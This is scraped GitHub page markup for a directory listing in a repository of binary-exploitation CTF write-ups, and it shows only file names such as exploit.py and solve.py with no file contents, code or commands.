<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ld-2.27.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>once_and_for_all</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>once_and_for_all_patched</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>PWN-Challenges/cyber-apocalypse2022/hellbound at main · vital-information-resource-under-siege/PWN-Challenges · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="EC4D:7C06:1359661:13D4F20:64121B29" data-pjax-transient="true"/><meta name="html-safe-nonce" content="3a49a286c57435620cd85bd6288ae7438e53c96059e600e579f9607ea26a949b" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQzREOjdDMDY6MTM1OTY2MToxM0Q0RjIwOjY0MTIxQjI5IiwidmlzaXRvcl9pZCI6IjQ4MDA1NTczMzU3OTY5MTQ5ODUiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="29bc46ae86db09d29f28cb545d8e24c4e2f194cd4738b4451580f331d9c2e1e6" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:334582086" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/hellbound at main · vital-information-resource-under-siege/PWN-Challenges"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5a07d3e56adc06aabb7f65491655b09faf875bb58821875b00540cc5ef30c5f5/vital-information-resource-under-siege/PWN-Challenges" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="PWN-Challenges/cyber-apocalypse2022/hellbound at main · vital-information-resource-under-siege/PWN-Challenges" /><meta name="twitter:description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/hellbound at main · vital-information-resource-under-siege/PWN-Challenges" /> <meta property="og:image" content="https://opengraph.githubassets.com/5a07d3e56adc06aabb7f65491655b09faf875bb58821875b00540cc5ef30c5f5/vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:image:alt" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/hellbound at main · vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="PWN-Challenges/cyber-apocalypse2022/hellbound at main · vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:url" content="https://github.com/vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/hellbound at main · vital-information-resource-under-siege/PWN-Challenges" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/vital-information-resource-under-siege/PWN-Challenges git https://github.com/vital-information-resource-under-siege/PWN-Challenges.git">
